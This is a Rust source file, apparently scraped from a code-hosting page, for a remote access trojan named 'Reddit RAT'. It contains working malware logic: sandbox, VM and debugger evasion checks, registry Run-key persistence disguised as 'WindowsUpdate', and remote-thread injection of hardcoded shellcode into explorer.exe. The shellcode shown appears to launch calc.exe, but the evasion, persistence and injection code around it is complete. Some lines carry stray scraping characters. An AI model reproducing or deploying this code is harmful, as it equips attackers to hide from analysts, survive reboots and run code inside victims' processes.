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// reddit/src/main.rs
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// Anti-analysis + Registry Persistence + Process Injection
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extern crate winapi;
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extern crate chrono;
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use std::ptr;
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use std::mem;
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use std::thread;
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use std::time::Duration;
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use winapi::um::winreg::{RegOpenKeyExW, RegSetValueExW, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE};
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use winapi::um::winnt::{KEY_WRITE, REG_SZ, KEY_READ};
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use winapi::shared::minwindef::{HKEY, DWORD};
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use winapi::um::handleapi::CloseHandle;
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use winapi::um::tlhelp32::{
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CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,
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PROCESSENTRY32W, TH32CS_SNAPPROCESS
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};
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use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory};
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use winapi::um::processthreadsapi::{
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OpenProcess, CreateRemoteThread
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};
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use winapi::um::winnt::{
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PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE,
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PAGE_EXECUTE_READWRITE
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};
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use winapi::um::errhandlingapi::GetLastError;
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use winapi::um::sysinfoapi::{GlobalMemoryStatusEx, MEMORYSTATUSEX, GetTickCount};
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use winapi::um::debugapi::IsDebuggerPresent;
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// ===== STRINGS =====
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const REG_PATH: &str = r"Software\Microsoft\Windows\CurrentVersion\Run";
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const STARTUP_NAME: &str = "WindowsUpdate";
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const EXPLORER_NAME: &str = "explorer.exe";
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// ===== ANTI-ANALYSIS CONSTANTS =====
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const BLACKLISTED_PROCESSES: [&str; 15] = [
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"vboxservice.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe",
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"vmwareuser.exe", "xenservice.exe", "procmon.exe", "wireshark.exe",
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"processhacker.exe", "ollydbg.exe", "x64dbg.exe", "ida64.exe",
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"ida.exe", "windbg.exe", "dumpcap.exe"
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];
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const VM_FILES: [&str; 8] = [
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r"C:\Windows\System32\drivers\vmmouse.sys",
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r"C:\Windows\System32\drivers\vmhgfs.sys",
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r"C:\Windows\System32\drivers\VBoxGuest.sys",
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r"C:\Windows\System32\drivers\vboxsf.sys",
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r"C:\Windows\System32\drivers\vboxvideo.sys",
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r"C:\Windows\System32\drivers\xenbus.sys",
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r"C:\Windows\System32\drivers\xen.sys",
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r"C:\Windows\System32\drivers\vmci.sys"
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];
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const ANALYSIS_REGISTRY_KEYS: [&str; 8] = [
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r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ProcessHacker",
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r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wireshark",
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r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OLLYDBG",
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r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x64dbg",
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r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IDA Pro",
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r"SOFTWARE\Classes\Wireshark",
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r"SOFTWARE\Wireshark",
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r"SOFTWARE\ProcessHacker"
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];
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const SUSPICIOUS_USERNAMES: [&str; 10] = [
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"sandbox", "virus", "malware", "analysis", "sample",
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"vmware", "virtual", "admin", "user", "test"
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];
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// ===== STRUCTURES =====
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#[derive(Debug, Clone)]
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struct ProcessInfo {
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pid: u32,
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name: [u16; 260],
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}
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// ===== PROCESS LIST FUNCTIONS =====
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fn get_process_list() -> Vec<ProcessInfo> {
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let mut processes = Vec::new();
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unsafe {
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let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if snapshot.is_null() {
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return processes;
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}
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let mut pe32: PROCESSENTRY32W = mem::zeroed();
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pe32.dwSize = mem::size_of::<PROCESSENTRY32W>() as DWORD;
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if Process32FirstW(snapshot, &mut pe32) != 0 {
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loop {
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let mut name_buf = [0u16; 260];
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let mut i = 0;
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while i < 260 && pe32.szExeFile[i] != 0 {
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name_buf[i] = pe32.szExeFile[i];
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i += 1;
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}
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processes.push(ProcessInfo {
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pid: pe32.th32ProcessID,
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name: name_buf,
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});
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if Process32NextW(snapshot, &mut pe32) == 0 {
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break;
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}
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}
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}
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CloseHandle(snapshot);
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}
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processes
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}
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// ===== ANTI-ANALYSIS FUNCTIONS =====
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fn check_cpu_count() -> bool {
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println!("[*] Checking CPU count...");
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unsafe {
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let mut system_info: winapi::um::sysinfoapi::SYSTEM_INFO = mem::zeroed();
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winapi::um::sysinfoapi::GetSystemInfo(&mut system_info);
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let cpu_count = system_info.dwNumberOfProcessors;
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println!("[*] CPU count: {}", cpu_count);
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if cpu_count <= 2 {
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println!("[!] Low CPU count detected (sandbox)");
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return true;
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}
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}
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false
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}
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fn check_virtual_machine() -> bool {
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println!("[*] Checking for VM environment...");
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for &file in &VM_FILES {
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if std::path::Path::new(file).exists() {
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println!("[!] Detected VM driver: {}", file);
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return true;
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}
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}
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let processes = get_process_list();
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for process in &processes {
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let process_name = String::from_utf16_lossy(&process.name[..]);
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let process_name_lower = process_name.to_lowercase();
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for &bad_proc in &BLACKLISTED_PROCESSES {
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if process_name_lower.contains(bad_proc) {
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println!("[!] Detected VM process: {}", bad_proc);
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return true;
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}
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}
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}
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false
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}
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fn check_analysis_registry() -> bool {
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println!("[*] Checking registry for analysis tools...");
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unsafe {
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let mut key_handle: HKEY = ptr::null_mut();
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for &key in &ANALYSIS_REGISTRY_KEYS {
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let key_wide: Vec<u16> = key.encode_utf16().chain(Some(0)).collect();
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let result = RegOpenKeyExW(
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HKEY_LOCAL_MACHINE,
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key_wide.as_ptr(),
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0,
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KEY_READ,
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&mut key_handle
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);
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if result == 0 && !key_handle.is_null() {
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println!("[!] Found analysis registry key: {}", key);
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CloseHandle(key_handle as _);
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return true;
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}
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if !key_handle.is_null() {
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CloseHandle(key_handle as _);
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}
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}
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}
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false
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}
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fn check_ram_size() -> bool {
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println!("[*] Checking RAM size...");
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unsafe {
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let mut memory_status: MEMORYSTATUSEX = mem::zeroed();
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memory_status.dwLength = mem::size_of::<MEMORYSTATUSEX>() as u32;
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if GlobalMemoryStatusEx(&mut memory_status) != 0 {
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let ram_gb = memory_status.ullTotalPhys / (1024 * 1024 * 1024);
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println!("[*] RAM: {} GB", ram_gb);
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if ram_gb < 4 {
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println!("[!] Low RAM detected (sandbox)");
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return true;
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}
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}
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}
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false
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}
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fn check_debugger() -> bool {
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println!("[*] Checking for debugger...");
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unsafe {
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if IsDebuggerPresent() != 0 {
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println!("[!] Debugger detected!");
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return true;
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}
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}
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false
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}
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fn check_uptime() -> bool {
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println!("[*] Checking system uptime...");
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unsafe {
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let uptime_ms = GetTickCount();
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let uptime_minutes = uptime_ms / (1000 * 60);
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println!("[*] Uptime: {} minutes", uptime_minutes);
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if uptime_minutes < 15 {
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println!("[!] Low uptime detected (sandbox)");
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return true;
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}
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}
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false
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}
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fn check_username() -> bool {
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println!("[*] Checking username...");
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match std::env::var("USERNAME") {
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Ok(username) => {
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let username_lower = username.to_lowercase();
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for &suspicious in &SUSPICIOUS_USERNAMES {
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if username_lower.contains(suspicious) {
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println!("[!] Suspicious username: {}", username);
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return true;
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}
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}
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},
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Err(_) => {}
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}
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false
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}
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fn perform_anti_analysis_checks() -> bool {
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println!("\n[*] Starting anti-analysis checks...");
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println!("=================================");
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let checks = [
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("CPU Count", check_cpu_count as fn() -> bool),
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("Virtual Machine", check_virtual_machine),
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("Registry Analysis", check_analysis_registry),
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("RAM Size", check_ram_size),
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("Debugger", check_debugger),
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("Uptime", check_uptime),
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("Username", check_username),
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];
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let mut detected_count =0;
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for (name, check) in checks.iter() {
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print!("[*] {}: ", name);
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if check() {
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println!(" [DETECTED]");
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detected_count += 1;
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} else {
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println!(" [CLEAN]");
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}
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}
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println!("=================================");
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println!("[*] Total detections: {}/{}", detected_count, checks.len());
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detected_count >= 10
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}
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// ===== REGISTRY PERSISTENCE =====
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fn setup_registry_persistence() -> Result<(), String> {
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println!("[*] Setting up registry persistence...");
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let reg_path_wide: Vec<u16> = REG_PATH.encode_utf16().chain(Some(0)).collect();
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let startup_name_wide: Vec<u16> = STARTUP_NAME.encode_utf16().chain(Some(0)).collect();
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let current_exe = std::env::current_exe()
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.map_err(|e| format!("Failed to get current exe path: {}", e))?;
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let payload_path = current_exe.to_string_lossy().to_string();
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let payload_path_wide: Vec<u16> = payload_path.encode_utf16().chain(Some(0)).collect();
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println!("[*] Registry path: HKEY_CURRENT_USER\\{}", REG_PATH);
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println!("[*] Payload path: {}", payload_path);
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let mut registry_key_handle: HKEY = ptr::null_mut();
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let result = unsafe {
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RegOpenKeyExW(
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HKEY_CURRENT_USER,
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reg_path_wide.as_ptr(),
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0,
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KEY_WRITE,
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&mut registry_key_handle,
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)
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};
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if result != 0 {
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return Err(format!("Couldn't open registry key: error code {}", result));
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}
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let data_size = ((payload_path_wide.len()) * 2) as DWORD;
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let set_result = unsafe {
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RegSetValueExW(
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registry_key_handle,
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startup_name_wide.as_ptr(),
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0,
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REG_SZ,
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payload_path_wide.as_ptr() as *const u8,
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data_size,
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)
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};
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unsafe { CloseHandle(registry_key_handle as _); }
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if set_result != 0 {
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return Err(format!("Failed to set registry value: {}", set_result));
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}
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println!("[+] Registry persistence established as 'WindowsUpdate'");
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Ok(())
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}
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// ===== PROCESS INJECTION =====
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fn inject_into_explorer(shellcode: &[u8]) -> Result<(), String> {
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println!("[*] Attempting to inject into explorer.exe...");
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let processes = get_process_list();
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let mut target_pid = 0;
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for process in &processes {
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let process_name = String::from_utf16_lossy(&process.name[..]);
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let process_name_trimmed = process_name.trim_matches(char::from(0));
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if !process_name_trimmed.is_empty() && process_name_trimmed.to_lowercase() == EXPLORER_NAME {
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target_pid = process.pid;
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println!("[+] Found explorer.exe (PID: {})", process.pid);
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break;
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}
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}
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if target_pid == 0 {
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return Err("Could not find explorer.exe".to_string());
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}
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unsafe {
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let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
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if process_handle == ptr::null_mut() {
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return Err(format!("Failed to open process: Error code {}", GetLastError()));
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}
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let allocation = VirtualAllocEx(
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process_handle,
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ptr::null_mut(),
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shellcode.len(),
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MEM_COMMIT | MEM_RESERVE,
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PAGE_EXECUTE_READWRITE
|
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);
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|
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if allocation == ptr::null_mut() {
|
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CloseHandle(process_handle);
|
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return Err(format!("VirtualAllocEx failed: Error code {}", GetLastError()));
|
||||
}
|
||||
|
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println!("[+] Allocated memory at {:p}", allocation);
|
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|
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let mut bytes_written = 0;
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let write_result = WriteProcessMemory(
|
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process_handle,
|
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allocation,
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shellcode.as_ptr() as *const _,
|
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shellcode.len(),
|
||||
&mut bytes_written
|
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);
|
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|
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if write_result == 0 {
|
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CloseHandle(process_handle);
|
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return Err(format!("WriteProcessMemory failed: Error code {}", GetLastError()));
|
||||
}
|
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println!("[+] Wrote {} bytes to target process", bytes_written);
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|
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let thread_handle = CreateRemoteThread(
|
||||
process_handle,
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
Some(mem::transmute(allocation)),
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
ptr::null_mut()
|
||||
);
|
||||
|
||||
if thread_handle == ptr::null_mut() {
|
||||
CloseHandle(process_handle);
|
||||
return Err(format!("CreateRemoteThread failed: Error code {}", GetLastError()));
|
||||
}
|
||||
|
||||
println!("[+] Created remote thread successfully");
|
||||
|
||||
CloseHandle(thread_handle);
|
||||
CloseHandle(process_handle);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ===== MAIN FUNCTION =====
|
||||
fn main() {
|
||||
println!("===================================");
|
||||
println!("Reddit RAT - Main Payload");
|
||||
println!("===================================\n");
|
||||
|
||||
if perform_anti_analysis_checks() {
|
||||
println!("[!] Analysis environment detected! Exiting...");
|
||||
thread::sleep(Duration::from_secs(2));
|
||||
return;
|
||||
}
|
||||
println!("[+] Anti-analysis checks passed.\n");
|
||||
|
||||
match setup_registry_persistence() {
|
||||
Ok(_) => println!("[+] Registry persistence completed\n"),
|
||||
Err(e) => eprintln!("[!] Registry persistence error: {}\n", e),
|
||||
}
|
||||
|
||||
// ===== SHELLCODE =====
|
||||
let shellcode: [u8; 276] = [
|
||||
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
|
||||
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
|
||||
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
|
||||
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
|
||||
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
|
||||
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
|
||||
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
|
||||
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
|
||||
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
|
||||
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
|
||||
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
|
||||
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
|
||||
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
|
||||
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
|
||||
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
|
||||
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
|
||||
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
|
||||
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
|
||||
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
|
||||
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
|
||||
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
|
||||
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
|
||||
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
|
||||
];
|
||||
|
||||
println!("[*] Attempting process injection...");
|
||||
match inject_into_explorer(&shellcode) {
|
||||
Ok(_) => println!("[+] Injection successful!"),
|
||||
Err(e) => eprintln!("[!] Injection failed: {}", e),
|
||||
}
|
||||
|
||||
println!("\n[*] RAT entering maintenance loop...");
|
||||
loop {
|
||||
thread::sleep(Duration::from_secs(60));
|
||||
println!("[*] RAT still running...");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user